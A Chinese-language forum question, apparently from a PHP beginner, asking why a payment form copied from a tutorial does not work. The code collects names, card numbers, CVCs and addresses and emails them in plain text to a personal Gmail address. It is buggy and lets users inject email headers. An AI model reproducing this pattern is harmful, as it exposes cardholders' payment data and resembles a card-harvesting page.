首先祝大家2020年新年快乐,一切顺利,梦想成真。
我是PHP的新手,正在测试向我发送付款信息(正在建立在线商店),对于托管,我正在使用000Hosting(巫婆是免费的)。我正在研究一个教程,并复制了完全相同的所有内容,但这是行不通的。有任何想法吗?我在服务器上尝试过
<?php
if(isset($_POST['submit'])){
$to = "eduardogr88@gmail.com"; // this is your Email address
$from = $_POST['email']; // this is the sender's Email address
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
$number = $_POST['number'];
$expiry = $_POST['cvc'];
//end of card data
$streetaddress = $_POST['streetaddress'];
$city = $_POST['city'];
$zipcode = $_POST['zipcode'];
$subject = "Form submission";
$subject2 = "Copy of your form submission";
$message = $first_name . " " . $last_name . "wrote the following:" . "\n\n" . $number. "\n" . $expiry . "\n" . $streetaddress . "\n" . $city . "\n" . $zipcode . $_POST['message'];
$message2 = "Here is a copy of your message " . $first_name . "\n\n" . $_POST['message'];
$headers = "From:" . $from;
$headers2 = "From:" . $to;
mail($to,$subject,$message,$headers);
mail($from,$subject2,$message2,$headers2); // sends a copy of the message to the sender
echo "Mail Sent. Thank you " . $first_name . ", we will contact you shortly.";
// You can also use header('Location: thank_you.php'); to redirect to another page.
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="./style.css">
</head>
<body>
<!-- partial:index.partial.html -->
<div class="body-text"></div>
<form action="" method="POST">
<div class="form-container">
<div class="personal-information">
<h1>Payment Information</h1>
</div>
<!-- end of personal-information -->
<input id="column-left" type="text" name="first_name" required="required" autocomplete="on" placeholder="First Name" />
<input id="column-right" type="text" name="last_name" required="required" autocomplete="on" placeholder="Surname" />
<input id="input-field" type="text" name="number" required="required" autocomplete="on" placeholder="Card Number" />
<input id="column-left" type="text" name="expiry" required="required" autocomplete="on" placeholder="MM / YY" />
<input id="column-right" type="text" name="cvc" required="required" autocomplete="on" placeholder="CCV" />
<div class="card-wrapper"></div>
<input id="input-field" type="text" name="streetaddress" required="required" autocomplete="on" maxlength="45" placeholder="Streed Address" />
<input id="column-left" type="text" name="city" required="required" autocomplete="on" maxlength="20" placeholder="City" />
<input id="column-right" type="text" name="zipcode" required="required" autocomplete="on" pattern="[0-9]*" maxlength="5" placeholder="ZIP code" />
<input id="input-field" type="email" name="email" required="required" autocomplete="on" maxlength="40" placeholder="Email" />
<input id="input-button" type="submit" value="Submit" />
</form>
</div>
<!-- partial -->
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/121761/card.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/121761/jquery.card.js'></script>
<script src="./script.js"></script>
</body>
</html>
我还想放一个绿色框,上面写着谢谢您的付款